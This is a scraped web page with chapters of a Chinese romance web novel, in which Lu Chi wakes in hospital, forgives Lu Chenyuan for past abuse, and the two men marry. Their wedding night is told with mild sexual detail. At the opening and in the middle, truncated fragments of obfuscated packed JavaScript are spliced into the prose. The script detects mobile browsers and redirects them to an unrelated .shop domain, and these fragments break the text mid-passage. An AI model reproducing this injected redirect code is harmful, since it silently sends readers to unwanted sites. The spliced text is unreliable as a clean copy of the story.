d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271939|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鹿炽抓着他的衣服,把脸埋在他胸口。 哭得浑身发抖。 旁边的人都在抹眼泪。 鹿妈妈捂着嘴,不让自己哭出声。鹿爸爸搂着她,轻轻拍着她的背。陆妈妈靠在陆爸爸肩上,眼泪一直流。陆知岩把鹿之言搂进怀里,一下一下摸着他的头发。 没人说话。 就让鹿炽哭。 他憋太久了。 哭了很久很久。 久到鹿炽没力气了,才慢慢停下来。 但他还抓着陆沉远的衣服,不肯松手。 “陆沉远。”他声音沙沙的。 “嗯。” “我以为你不见了。” 陆沉远心里一疼。 “我没不见。”他说,“我一直在这儿。” “可是他们都忘了你……”鹿炽抬起头,看着他,“只有我记得。” 陆沉远的眼眶红了。 “嗯。”他说,“只有你记得。” 鹿炽看着他。 “你是故意的?” 陆沉远沉默了几秒。 “……嗯。” “为什么?” “因为……”陆沉远顿了顿,“你该醒了。” 鹿炽的眼泪又涌上来。 “你知道我会去找你?” “知道。” “你知道我会跳?” “知道。” “那你知道,”鹿炽说,“我有多怕吗?” 陆沉远看着他。 鹿炽的眼睛红红的,里面都是泪。 “我怕你真的不见了。”他说,“怕我再也找不到你。怕那些都是我做的一场梦。” 他顿了顿。 “可是你不在的时候,我才发现……” “那些伤害,我其实没那么在意了。” “我在意的,是你还在不在。” 陆沉远的心揪成一团。 “鹿炽……” “你别说话。”鹿炽打断他,“让我说完。” 陆沉远闭嘴了。 鹿炽看着他。 “那些年,你对我不好。” “你打我,冷着我,让我心死。” “我恨过你。” “真的恨过。” “可是……”他的眼泪又流下来,“可是你后来改了。” “你为了我,进到那个世界里。” “你追我,保护我,爱我。” “你让我重新相信,你是真的喜欢我。” “你让我知道,你愿意用命换我。” 他伸手,摸着陆沉远的脸。 瘦了,下巴上都是胡茬,眼睛下面青黑一片。 “陆沉远。”他轻声说。 “嗯。” “我不恨你了。” 陆沉远的眼泪掉下来。 “真的?” “真的。”鹿炽说,“那些事,过去了。” 陆沉远看着他。 看了很久。 然后他把脸埋进他颈窝。 哭了。 三十岁的人了,哭得像个小孩子。 鹿炽抱着他,轻轻拍着他的背。 旁边的人看着这一幕,又是心疼又是欣慰。 鹿妈妈擦了擦眼泪,小声说:“咱们先出去吧,让他们单独待会儿。” 鹿爸爸点点头。 陆妈妈也点头。 陆知岩搂着鹿之言,轻声说:“走吧。” 一群人悄悄退出病房。 门轻轻关上。 房间里只剩下他们两个。 陆沉远还在哭。 鹿炽没说话,就一直抱着他,拍着他的背。 哭了好久,陆沉远才抬起头。 眼睛红红的,脸上都是泪。 鹿炽看着他这个样子,忽然笑了。 “丑死了。” 陆沉远愣了一下。 “什么?” “我说你。”鹿炽伸手,帮他擦眼泪,“哭成这样,丑死了。” 陆沉远看着他。 鹿炽的眼睛也红红的,但嘴角弯着。 他在笑。 虽然刚哭过,虽然眼睛还肿着,但他在笑。 陆沉远的心软成一团。 “鹿炽。”他叫他。 “嗯。” “以后,”他说,“我再也不会让你哭了。” 鹿炽看着他。 “真的?” “真的。”陆沉远说,“再也不会让你疼了。” “再也不会伤害你。” “再也不会让你一个人。” 他握着他的手,很紧。 “鹿炽,我发誓。” 鹿炽看着他。 看了很久。 然后他笑了。 “好。”他说,“我信你。” 陆沉远把他搂进怀里。 鹿炽靠在他胸口,听着他的心跳。 一下,一下,很稳。 他闭上眼睛。 “陆沉远。” “嗯。” “你刚才说,以后不让我哭了。” “嗯。” “那如果我想哭呢?” 陆沉远愣了一下。 “那……” “那你就哄我。”鹿炽说,“把我哄笑。” 陆沉远笑了。 “好。”他说,“哄你。” “一辈子都哄你。” 鹿炽弯起嘴角。 窗外的阳光照进来,落在两个人身上。 很暖。 很亮。 病房门被轻轻推开一条缝。 鹿之言探头看了一眼,又缩回去。 “怎么样?”陆知岩小声问。 鹿之言嘴角弯了弯。 “抱着呢。”他说,“挺好。” 陆妈妈在旁边笑了。 “那就好,那就好。” 鹿妈妈擦了擦眼角。 “这孩子,总算醒了。” 陆爸爸点点头。 “醒了就好。” 陆知岩搂着鹿之言,在他耳边小声说:“之言。” “嗯。” “我们也抱一个?” 鹿之言看了他一眼。 “回家抱。” “为什么?” “医院,注意影响。” 陆知岩委屈了。 但他不敢反驳。 只能乖乖站着。 鹿之言看他那个样子,嘴角微微弯了一下。 然后他伸手,握住他的手。 陆知岩愣住了。 “之言你——” “等回家。”鹿之言说,“再给你。” 陆知岩的眼睛亮了。 “好!” 鹿妈妈在旁边看着,笑出声。 “这孩子,真好哄。” 陆爸爸也笑了。 “跟你年轻时候一样。” 陆妈妈瞪他一眼。 “谁跟他一样?” 陆爸爸没说话,但嘴角弯着。 病房里,鹿炽靠在陆沉远怀里,快睡着了。 “陆沉远。” “嗯。” “我们以后……怎么办?” 陆沉远想了想。 “结婚。”他说,“真的结婚。” 鹿炽愣了一下。 “我们不是结过了吗?” “那是假的。”陆沉远说,“这次要真的。” 鹿炽抬头看他。 “真的?” “嗯。”陆沉远说,“在所有人面前。” “让你爸妈,我爸妈,大家都看着。” “让你穿最好看的衣服。” “让所有人都知道,你是我的人。” 鹿炽看着他。 眼眶又酸了。 但他忍住没哭。 他笑了。 “好。”他说。 陆沉远低头,在他额头上亲了一下。 “睡吧。”他说,“我在这儿。” 鹿炽点点头。 闭上眼睛。 他太累了。 睡了很久很久。 但这次,他不会做梦了。 因为他在他怀里。 这就够了。 下午,阳光正好。 病房里暖洋洋的。 鹿炽睡醒了,精神好多了。 他靠在床头,鹿妈妈喂他喝粥。 一口一口,像小时候那样。 “妈,我自己能喝……” “别动,让妈喂。”鹿妈妈眼眶又红了,“你都昏迷那么久了,妈想喂你。” 鹿炽没再拒绝。 他乖乖张嘴,喝粥。 陆沉远坐在旁边,看着这一幕。 心里软成一片。 鹿妈妈喂完粥,又去洗水果。 陆沉远凑过来。 “还难受吗?” “不了。”鹿炽说,“好多了。” 陆沉远点点头。 鹿炽看着他。 “陆沉远。” “嗯。” “你这几天……是不是一直没睡?” 陆沉远愣了一下。 “没有。” “骗人。”鹿炽指着他的黑眼圈,“眼睛下面都黑了。” 陆沉远没说话。 鹿炽伸手,拉住他的手。 “现在我在了。”他说,“你睡会儿。” 陆沉远看着他。 “我陪你。”鹿炽说,“哪儿都不去。” 陆沉远看了他很久。 然后他点点头。 他在床边趴下来,握着鹿炽的手。 闭上眼睛。 很快就睡着了。 鹿炽看着他。 陆沉远睡着的样子,眉头还是皱着的。 他伸手,轻轻抚平他的眉心。 “傻子。”他轻声说。 窗外阳光很好。 病房里很安静。 鹿炽靠在床头,看着陆沉远。 看了很久很久。 晚上,大家都来了。 陆爸爸陆妈妈带了饭菜,鹿妈妈炖了汤,陆知岩买了一堆水果,鹿之言带了鹿炽最爱吃的点心。 病房里挤满了人,热热闹闹的。 鹿炽靠在床头,看着他们。 忽然觉得,活着真好。 “来,小炽,喝汤。”鹿妈妈递过来一碗。 “谢谢妈。” “小炽,吃这个。”陆妈妈递过来一块点心。 “谢谢阿姨。” “叫妈。”陆沉远在旁边说。 鹿炽愣了一下。 陆妈妈笑了。 “对对对,叫妈。” 鹿炽脸红了。 “……妈。” 陆妈妈笑得更开心了。 “哎!” 鹿妈妈在旁边看着,也笑了。 “行,以后两家是一家。” 陆爸爸点头。 “对,一家亲。” 鹿爸爸也点头。 “挺好。” 鹿炽低着头,耳朵红透了。 但嘴角弯着。 鹿之言在旁边看着,碰了碰陆知岩。 “你看,他害羞了。” 陆知岩看了看。 “跟你一样。” 鹿之言瞪他一眼。 “谁跟你一样?” “你。”陆知岩说,“害羞的时候,耳朵也红。” 鹿之言没理他。 但耳朵确实红了。 陆知岩看见了,偷偷笑。 深夜,人都散了。 病房里又只剩下他们两个。 鹿炽靠在陆沉远肩上,看着窗外的月亮。 “陆沉远。” “嗯。” “你知道吗,”他说,“在那个世界里,你消失的时候,我特别怕。” 陆沉远握紧他的手。 “我知道。” “我怕你真的不见了。” “我怕那些都是梦。” “我怕醒来之后,发现根本没有你。” 他顿了顿。 “可是后来我哥说,你存在过。” “他说,让我相信你。” “我就信了。” 陆沉远低头看他。 鹿炽的眼睛在月光下亮亮的。 “鹿炽。”他叫他。 “嗯。” “谢谢你。” “谢什么?” “谢谢你信我。”陆沉远说,“谢谢你来找我。” “谢谢你愿意……原谅我。” 鹿炽看着他。 看了很久。 然后他笑了。 “傻子。”他说,“不原谅你,我找你来干嘛?” 陆沉远愣了一下。 然后他也笑了。 “对。”他说,“你找我,就是原谅我了。” 鹿炽靠回他肩上。 “陆沉远。” “嗯。” “以后别再消失了。” “不会了。” “别再让我一个人了。” “不会了。” “别再……”他顿了顿,“别再让我哭了。” 陆沉远把他搂紧。 “不会了。”他说,“再也不了。” 鹿炽闭上眼睛。 月亮很圆。 夜很安静。 他们在彼此怀里。 这就够了。 —— 第二天早上,阳光照进来的时候,鹿炽醒了。 陆沉远还在睡,趴在他床边,握着他的手。 鹿炽没动。 他就这样看着他。 看了很久。 然后他轻轻抽出手,摸了摸他的脸。 陆沉远醒了。 睁开眼,看见鹿炽正看着他。 “早。”鹿炽说。 陆沉远愣了一下。 然后他笑了。 “早。” 鹿炽也笑了。 窗外的阳光很好。 他们还有很多很多天。 要一起过。 —— 【沉炽篇·完】 49. 婚礼 六月,北京。 天气已经开始热了,但今天格外好。天很蓝,云很白,风很轻。 鹿炽早上五点就醒了。 不是自然醒,是紧张醒的。 他躺在床上,盯着天花板,心跳得厉害。 今天是什么日子? 今天是他结婚的日子。 真的结婚。 不是那个只有两个人的冷清仪式,是在所有人面前,被祝福的婚礼。 他翻了个身,把脸埋进枕头里。 “炽炽?”门外传来鹿妈妈的声音,“起了吗?” “起了……”鹿炽闷闷地应了一声。 门开了,鹿妈妈走进来,看见他把自己埋进枕头里,笑了。 “怎么了?紧张?” 鹿炽抬起头,脸有点红。 “有点……” 鹿妈妈在床边坐下,摸摸他的头。 “傻孩子,紧张什么?又不是第一次见陆沉远。” 鹿炽想了想,觉得也是。 但就是紧张。 可能是因为这次太正式了。 有宾客,有仪式,有交换戒指,有…… 有那个环节。 “妈,”他小声问,“婚礼上,我要说什么?” “说什么?说‘我愿意’啊。” “就这?” “你还想说什么?” 鹿炽想了想,没想出来。 但他总觉得,应该还有别的。 “行了,别想了。”鹿妈妈拉他起来,“快起来,化妆师一会儿就来了。” 鹿炽被拉起来,迷迷糊糊去洗漱。 洗完出来,化妆师已经到了。 是个年轻女孩,笑起来很温柔。 “鹿先生,坐这儿。” 鹿炽坐下,乖乖让她摆弄。 化妆师一边化一边夸他皮肤好,五官精致,不用怎么化就很好看。 鹿炽被夸得不好意思,耳朵红红的。 化完妆,换衣服。 西装是定制的,深灰色,剪裁很合身。领带是陆沉远选的,暗红色,配他这件西装刚刚好。 鹿炽站在镜子前,看着自己。 有点陌生。 但又有点好看。 “哇——”鹿之言推门进来,看见他,愣了一下,“小炽,你……这么帅?” 鹿炽脸红了。 “哥……” “真的!”鹿之言走过来,上下打量他,“陆沉远那小子,真是捡到宝了。” 鹿炽更不好意思了。 鹿之言帮他整理了一下领带。 “紧张吗?” “有点。” “正常。”鹿之言说,“我结婚那天也紧张。” 鹿炽愣了一下。 “你什么时候结婚了?” 鹿之言也愣了一下。 然后他笑了。 “快了。”他说,“到时候请你。” 鹿炽看着他。 鹿之言的眼里有笑意,有温柔。 他想,哥哥现在,应该也很幸福。 “哥。”他叫他。 “嗯。” “谢谢你。” 鹿之言看着他。 “谢什么?” “谢谢你……一直在我身边。”鹿炽说,“谢谢你在那个晚上,陪我去爬山。” 鹿之言的喉结动了动。 他伸手,把鹿炽拉进怀里。 “傻弟弟。”他说,“你是我弟弟,我不陪你谁陪你?” 鹿炽靠在他肩上,眼睛有点酸。 但他忍住了。 今天不能哭。 要笑。 化好妆换好衣服,车来了。 是一辆白色的加长林肯,车头系着红绸带。 鹿炽坐进车里,鹿之言坐在他旁边。 “紧张吗?”鹿之言又问了一遍。 “还好。”鹿炽说,“就是……有点不真实。” 鹿之言点点头。 “正常。”他说,“幸福的时候,都会觉得不真实。” 鹿炽看着他。 “哥,你也会幸福。” 鹿之言笑了。 “我知道。” 车往婚礼现场开。 窗外阳光很好,街上有人在走,有小孩在跑。 鹿炽看着那些普通人,忽然觉得,自己也很普通。 普通的幸福。 普通的结婚。 普通的和爱的人在一起。 这就够了。 婚礼现场在郊外的一个庄园里。 草坪很绿,花很多,到处都是白色的纱和粉色的玫瑰。 宾客已经到了不少,三三两两地站着聊天。 鹿炽下车的时候,所有人都看向他。 他有点紧张,但努力让自己看起来镇定。 “鹿炽!”周浩冲过来,一身西装,头发梳得锃亮,“卧槽你今天太帅了!” 鹿炽被他吓了一跳。 “你……你小点声……” “小声什么!”周浩嗓门更大了,“今天你结婚!必须大声!” 林屿跟在后面,走过来。 “恭喜。”他说。 鹿炽点点头。 “谢谢。” 周浩勾着林屿的肩,对鹿炽挤眉弄眼。 “一会儿我也要扔捧花啊!记得往我们这边扔!” 林屿看了他一眼。 “你抢什么?” “抢幸福啊!”周浩理直气壮,“抢到捧花下一个结婚的就是我们!” 林屿没说话。 但嘴角弯了一下。 鹿炽笑了。 真好。 朋友都在,都幸福。 婚礼快开始了。 鹿炽被带到休息室,等出场。 他坐在沙发上,手心都是汗。 门开了。 陆沉远走进来。 他也换好西装了,黑色的,配白色衬衫,帅得过分。 鹿炽看着他,愣了一下。 “你怎么来了?不是不能见面吗?” “偷偷来的。”陆沉远走过来,在他面前蹲下,“想看看你。” 鹿炽看着他。 陆沉远的眼睛很亮,里面有他的倒影。 “紧张吗?”陆沉远问。 鹿炽点头。 “有点。” “我也是。” 鹿炽愣了一下。 “你紧张什么?” “怕你后悔。”陆沉远说,“怕你突然不想嫁了。” 鹿炽看着他。 “不会的。”他说。 陆沉远笑了。 他站起来,在他额头上亲了一下。 “等我。”他说,“一会儿见。” 他转身走了。 鹿炽看着他的背影,心跳得很快。 一会儿见。 一会儿,他们就结婚了。 音乐响起来的时候,鹿炽的心跳到了嗓子眼。 休息室的门开了,鹿爸爸站在门口,伸出手。 “走吧,儿子。” 鹿炽站起来,挽住爸爸的胳膊。 鹿爸爸看着他,眼眶有点红。 “长大了。”他说,“都要结婚了。” 鹿炽鼻子一酸。 “爸……” “好了好了,不哭。”鹿爸爸拍拍他的手,“今天高兴的日子。” 鹿炽点头。 深吸一口气。 门外的音乐换成了婚礼进行曲。 红毯很长,两边都是人。 鹿炽挽着爸爸,一步一步往前走。 他看见陆沉远站在前面。 站在那个台子上,看着他。 眼睛里有光。 鹿炽忽然就不紧张了。 他只想快点走到他身边。 红毯走完了。 鹿爸爸把他的手交给陆沉远。 “好好待他。”他说。 陆沉远点头。 “爸,我会的。” 鹿爸爸拍拍他的肩,退到一边。 台上只剩下他们两个。 司仪开始说话,鹿炽没听进去。 他只看着陆沉远。 陆沉远也看着他。 “陆沉远先生,”司仪忽然问他,“你愿意娶鹿炽先生为夫,无论贫穷还是富有,疾病还是健康,都爱他,尊重他,保护他,直到永远吗?” 陆沉远看着鹿炽。 “我愿意。” 声音很稳,很认真。 司仪又看向鹿炽。 “鹿炽先生,你愿意嫁给陆沉远先生为夫,无论贫穷还是富有,疾病还是健康,都爱他,尊重他,包容他,直到永远吗?” 鹿炽看着陆沉远。 看了很久。 然后他笑了。 “我愿意。” 陆沉远的眼眶红了。 交换戒指。 戒指是定制的,白金,内侧刻着彼此的名字和今天的日期。 陆沉远把戒指套进鹿炽的手指。 鹿炽也给他套上。 手有点抖,但套进去了。 司仪笑了。 “现在,新郎可以亲吻新郎了。” 陆沉远看着鹿炽。 鹿炽也看着他。 然后陆沉远低头,吻住他。 不是轻触,是认真的、温柔的吻。 台下响起掌声和口哨声。 周浩喊得最大声。 “亲一个!亲一个!哦已经亲了!” 林屿在旁边拉他,没拉住。 鹿炽被吻着,脸都红了。 但嘴角是弯的。 吻完,陆沉远松开他。 “鹿炽。”他轻声叫他。 “嗯。” “我爱你。” 鹿炽看着他。 眼眶有点酸。 但他笑了。 “我也爱你。” 台下又是一阵欢呼。 婚礼结束了。 接下来是婚宴。 大草坪上摆满了白色的桌椅,中间是长长的自助餐桌,上面摆满了各种好吃的。 鹿炽被拉着到处敬酒。 先是长辈。 陆爸爸陆妈妈,鹿爸爸鹿妈妈,四个老人坐在一起,笑得合不拢嘴。 “爸妈,喝酒。”陆沉远端着酒杯。 鹿炽也跟着叫。 “爸妈,喝酒。” 陆妈妈笑着接过来。 “好好好,喝。” 喝完,她拉着鹿炽的手。 “小炽,以后他要是欺负你,告诉妈,妈收拾他。” 鹿炽笑了。 “好。” 陆沉远在旁边委屈。 “妈,我怎么会欺负他?” “谁知道呢。”陆妈妈说,“以前你什么样,我还不知道?” 陆沉远没话说了。 鹿炽在旁边偷笑。 然后是朋友那桌。 周浩已经喝多了,脸通红,举着酒杯摇摇晃晃。 “远哥!鹿炽!祝你们百年好合!早生贵子!呃……生不了就算了!反正幸福就行!” 林屿在旁边扶着他。 “你少喝点。” “不行!”周浩挥着酒杯,“今天高兴!必须喝!” 陆沉远笑着和他碰了一杯。 鹿炽也碰了。 周浩喝完,又拉着林屿。 “林屿,你也敬一杯!” 林屿无奈,也端起酒杯。 “恭喜。”他说。 “谢谢。”陆沉远说。 两人碰杯。 喝完,周浩又喊:“下一个!该我们了!” 林屿看他一眼。 “谁跟你我们?” “你啊!”周浩理直气壮,“你跟我,我们!” 林屿没说话。 但嘴角弯着。 陆知岩和鹿之言也来了。 陆知岩端着酒杯,看着陆沉远。 “弟,恭喜。” “谢谢哥。” 陆知岩拍拍他的肩。 “以后好好过。” “嗯。” 陆沉远看着他哥,又看看鹿之言。 “哥,你们什么时候?” 陆知岩愣了一下。 “什么什么时候?” “结婚。”陆沉远说。 陆知岩看向鹿之言。 鹿之言面无表情。 “快了。”他说。 陆知岩的眼睛亮了。 “之言你——” “闭嘴。” 陆知岩乖乖闭嘴。 但嘴角咧到耳根。 鹿炽在旁边看着,笑了。 真好。 大家都幸福。 婚宴结束,天快黑了。 草坪上亮起一串串小彩灯,把整个场地照得温馨又浪漫。 鹿炽坐在椅子上,看着那些灯。 陆沉远走过来,在他旁边坐下。 “累吗?” “还好。”鹿炽说,“就是脚有点酸。” 陆沉远低头,帮他把鞋脱了。 鹿炽愣了一下。 “你干嘛……” “帮你揉揉。” 他握着鹿炽的脚,轻轻揉着。 鹿炽看着他。 陆沉远低着头,动作很轻,很认真。 鹿炽的心里暖暖的。 “陆沉远。” “嗯。” “今天真开心。” 陆沉远抬头看他。 “我也是。” 鹿炽笑了。 他看着远处的彩灯,忽然想起什么。 “陆沉远。” “嗯。” “你还记得时间胶囊吗?” 陆沉远愣了一下。 “记得。” “二十年后的。”鹿炽说,“我们写的。” 陆沉远点点头。 “记得。” 鹿炽看着他。 “你说,二十年后,我们会是什么样?” 陆沉远想了想。 “老了。”他说,“头发白了。” 鹿炽笑了。 “那你还爱我吗?” 陆沉远看着他。 “爱。”他说,“一直爱。” 鹿炽看着他。 眼眶有点酸。 但他没哭。 他只是靠在他肩上。 “我也是。”他说。 彩灯在远处闪烁。 夜风很轻。 他们靠在一起,看着那些光。 很久很久。 晚上,他们回到家。 不是以前那个家,是新买的房子。 陆沉远买的,说是婚房。 鹿炽第一次来。 客厅很大,落地窗对着城市夜景。装修很简单,但很舒服。 “喜欢吗?”陆沉远问。 鹿炽点头。 “喜欢。” 陆沉远笑了。 他牵着他,走进卧室。 卧室里,有一张很大的床。 床头柜上,放着两个相框。 一个是他们在洛杉矶拍的,四个人站在时间胶囊店门口。 另一个是今天的婚礼照片,他们交换戒指的那一瞬间。 鹿炽看着那些照片,心里满满的。 “陆沉远。” “嗯。” “谢谢你。” 陆沉远愣了一下。 “谢什么?” “谢谢你……”鹿炽顿了顿,“谢谢你为我做的一切。” 陆沉远看着他。 “那个世界,你来找我。” “你保护我,爱我。” “你为了让我醒过来,自己消失。” “你让所有人都忘了你,只有我记得。” 他看着他。 “那些事,我都记得。” 陆沉远的眼眶红了。 “鹿炽……” “所以,”鹿炽说,“谢谢你。” 他踮起脚,在他嘴角亲了一下。 “谢谢你,让我重新相信你。” “谢谢你,让我幸福。” 陆沉远看着他。 看了很久。 然后他把他抱进怀里。 很紧。 “鹿炽。”他在他耳边说。 “嗯。” “以后换我谢谢你。” “谢什么?” “谢谢你原谅我。”陆沉远说,“谢谢你愿意嫁给我。” “谢谢你在那个山崖上,选择跳下来。” “谢谢你……一直在我身边。” 鹿炽的眼泪掉下来。 但他笑了。 “傻子。”他说,“我不在你身边,在谁身边?” 陆沉远把他抱得更紧。 窗外的城市夜景很亮。 他们站在窗前,抱在一起。 很久很久。 晚上,他们躺在床上。 鹿炽靠在陆沉远怀里,看着窗外的月亮。 “陆沉远。” “嗯。” “以后,我们每年都去那个山顶看日出吧。” “好。” “每年都写时间胶囊。” “好。” “每年都……”他顿了顿,“每年都过结婚纪念日。” 陆沉远低头看他。 “好。” 鹿炽笑了。 他闭上眼睛。 “陆沉远。” “嗯。” “我爱你。” 陆沉远愣了一下。 然后他笑了。 “我也爱你。”他说,“永远。” 鹿炽弯起嘴角。 窗外的城市夜景很亮。 鹿炽靠在陆沉远怀里,看着那片灯火,忽然觉得有点不真实。 今天,他们真的结婚了。 不是那个冷清的、只有两个人的仪式。 是在所有人面前,被祝福的婚礼。 他低头看着手上的戒指。 白金的,很简洁,内侧刻着他们俩的名字。 “陆沉远。”他轻声叫他。 “嗯。” “我想洗澡。” 陆沉远低头看他。 “一起?” 鹿炽愣了一下,然后脸红了。 “谁要跟你一起……” 陆沉远笑了。 “那你去,我等你。” 鹿炽从他怀里爬起来,找了睡衣,往浴室走。 走到门口,又回头看了一眼。 陆沉远靠在床头,正看着他。 眼神很温柔,很亮。 鹿炽心跳快了一拍,赶紧钻进浴室。 关上门,他靠在门板上,深呼吸。 结婚了。 真的结婚了。 晚上要…… 要那个。 虽然是做过的事,但今天不一样。 今天是新婚夜。 鹿炽的脸又红了。 他打开水,让自己冷静一下。 洗完澡出来,已经快十一点了。 鹿炽擦着头发,走到床边。 陆沉远还靠在床头,手里拿着本书,但眼睛看着他。 “洗好了?” “嗯。” 鹿炽爬上床,在他旁边坐下。 陆沉远拿过毛巾,帮他擦头发。 动作很轻,很温柔。 鹿炽乖乖坐着,让他擦。 “陆沉远。” “嗯。” “今天真开心。” 陆沉远的手顿了一下。 然后他继续擦。 “我也是。” 鹿炽笑了。 头发擦得半干,陆沉远把毛巾放到一边。 他看着鹿炽。 鹿炽也看着他。 两个人就这么看着,谁也没说话。 但空气里,有什么东西在慢慢升温。 “鹿炽。”陆沉远开口,声音有点低。 “嗯。” “今天是新婚夜。” 鹿炽的心跳漏了一拍。 “……我知道。” 陆沉远伸手,轻轻碰了碰他的脸。 刚洗完澡,皮肤还是温热的,滑滑的。 “你紧张吗?” 鹿炽想了想。 “……有点。” “我也是。” 鹿炽愣了一下。 “你紧张什么?” 陆沉远看着他。 “怕你不舒服。”他说,“怕你疼。” “怕你又想起那些不好的事。” 鹿炽的心揪了一下。 他知道陆沉远在说什么。 那些伤害。 那些让他害怕的事。 他伸手,握住陆沉远的手。 “陆沉远。”他说,“那些事,过去了。” 陆沉远看着他。 “我现在,”鹿炽说,“只有你。” 他看着他的眼睛。 “只有你给我的感觉。” “好的那种。” 陆沉远的眼眶有点红。 他把他拉进怀里。 抱得很紧。 鹿炽靠在他胸口,听着他的心跳。 很快。 “陆沉远。” “嗯。” “今晚,”他轻声说,“你温柔点就行。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271940|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆沉远低头看他。 鹿炽的眼睛亮亮的,里面有他。 “好。”他说。 他低头,吻住他。 这个吻很轻,很温柔。 像怕惊动什么。 鹿炽闭上眼睛,回应着。 手攀上他的肩。 吻越来越深。 鹿炽的呼吸开始乱。 陆沉远松开他一点。 “可以吗?” 鹿炽点头。 “嗯。” 陆沉远把他轻轻放倒在床上。 枕头很软,被子很软,床很软。 一切都刚刚好。 陆沉远看着他。 鹿炽躺在那里,头发散在枕头上,眼睛亮亮的。刚洗完澡,皮肤泛着淡淡的粉色,嘴唇因为接吻而微微红肿。 好看得不像话。 “鹿炽。”他叫他。 “嗯。” “你真好看。” 鹿炽的脸红了。 “你别说了……” “要说。”陆沉远低头,在他眼睛上亲了一下,“好看。” 又在他鼻尖上亲了一下。 “好看。” 再在他嘴角亲了一下。 “好看。” 鹿炽被他亲得又想躲又想笑。 “陆沉远……” “嗯。” “你亲够了没……” “没有。”陆沉远说,“一辈子都不够。” 鹿炽愣了一下。 然后他伸手,捧住他的脸。 “那你就亲一辈子。”他说。 陆沉远看着他。 看了很久。 然后他低头,吻住他。 这次不是轻触了。 是认真的、深入的、带着所有爱意的吻。 鹿炽闭上眼睛,回应着。 手抓着他的衣襟。 衣服什么时候没的,他不记得了。 只记得陆沉远的吻落在他身上。 额头,眼睛,鼻尖,嘴唇。 锁骨,胸口,腰侧。 每一处都很轻,很温柔。 像在对待什么易碎品。 “陆沉远……”鹿炽的声音有点抖。 “嗯。” “你……” “怎么?” 鹿炽咬着嘴唇。 “你进来吧。” 陆沉远看着他。 鹿炽的眼睛湿漉漉的,里面有期待,有紧张,还有一点勇敢。 他低头,在他眼睛上亲了一下。 “好。” 很慢。 真的很慢。 每一下都会问他“可以吗”“疼吗”“舒服吗”。 鹿炽被问得又羞又急。 “陆沉远!” “嗯。” “你能不能别问了……” 陆沉远顿了一下。 “嫌烦?” “不是……”鹿炽把脸埋进枕头里,“就是……太害羞了……” 陆沉远笑了。 他低头,在他耳朵上亲了一下。 “好。”他说,“不问了。” 后来的事,鹿炽记不太清了。 他只记得陆沉远的手,一直握着他的。 很紧。 记得他的呼吸,在他耳边。 记得他说的话。 “鹿炽,我爱你。” “永远。” “再也不让你疼了。” 鹿炽的眼泪流下来。 不是疼。 是别的什么。 陆沉远吻掉他的眼泪。 “怎么哭了?” “没……”鹿炽声音闷闷的,“就是……开心。” 陆沉远看着他。 “我也是。” 夜深了。 房间里终于安静下来。 鹿炽靠在陆沉远怀里,一动都不想动。 浑身酸,但是舒服的那种酸。 陆沉远轻轻摸着他的头发。 “累了?” “嗯……”鹿炽迷迷糊糊地应。 “睡吧。” “你呢?” “我看着你睡。” 鹿炽在他怀里动了动,找了个舒服的位置。 闭上眼睛。 过了几秒,又睁开。 “陆沉远。” “嗯。” “刚才那个……” “哪个?” “就是……”鹿炽脸红了,“你最后说的那个。” 陆沉远想了想。 “我爱你?” “不是。”鹿炽说,“再后面那个。” 陆沉远又想了一下。 “永远?” “嗯。”鹿炽看着他,“真的永远?” 陆沉远低头,在他额头上亲了一下。 “真的。”他说,“永远。” 鹿炽看着他。 看了很久。 然后他笑了。 “好。”他说,“我记住了。” 他闭上眼睛。 这次真的睡着了。 陆沉远没睡。 他就这样看着他。 看着他的睡颜。 他的鹿炽,睡着的时候最乖。 睫毛安静地覆着,呼吸平稳,嘴角微微弯着。 陆沉远看了很久很久。 然后他低头,在他耳边轻声说: “鹿炽。” “谢谢你愿意嫁给我。” “谢谢你愿意原谅我。” “谢谢你……一直在我身边。” 鹿炽在睡梦中动了动,往他怀里靠了靠。 嘴角弯得更深了。 陆沉远笑了。 他关掉灯,把他搂紧。 窗外的城市灯火渐渐暗下去。 夜很深了。 但他们在一起。 这就够了。 第二天早上,鹿炽是被阳光晃醒的。 他睁开眼,看见陌生的天花板。 愣了几秒,才想起来这是哪儿。 婚房。 他们的家。 他低头,发现自己正靠在陆沉远怀里。 陆沉远还在睡,呼吸平稳,手臂还搂着他。 鹿炽没动。 他就这样看着他。 陆沉远睡着的样子,也挺好看的。 眉骨很高,鼻梁很挺,嘴唇…… 他想起昨晚,那些吻。 脸红了。 “看够了没?”陆沉远忽然开口。 鹿炽吓了一跳。 “你装睡!” “没装。”陆沉远睁开眼,笑着看他,“刚醒。” “那你怎么知道我在看你?” “感觉。”陆沉远把他往怀里带了带,“你盯着我看的时候,我眼皮会跳。” 鹿炽不信。 但也没反驳。 他就这样被陆沉远抱着,听着他的心跳。 “陆沉远。” “嗯。” “今天干嘛?” 陆沉远想了想。 “你想干嘛?” 鹿炽想了想。 “不知道。” “那就在家待着。”陆沉远说,“新婚第一天,哪儿都不去。” 鹿炽笑了。 “好。” 他们又躺了一会儿。 阳光越来越亮,照得整个房间暖洋洋的。 鹿炽忽然说:“陆沉远。” “嗯。” “昨晚你说的那些……” “哪些?” “永远。”鹿炽说,“一辈子。” 陆沉远看着他。 “怎么?” “我信你了。”鹿炽说。 陆沉远愣了一下。 “真的?” “嗯。”鹿炽点头,“真的。” 陆沉远看着他。 看了很久。 然后他低头,吻住他。 这个吻很轻,很温柔。 像在确认什么。 又像在承诺什么。 吻完,陆沉远松开他。 “鹿炽。” “嗯。” “我发誓。”他说,“这辈子,下辈子,下下辈子。” 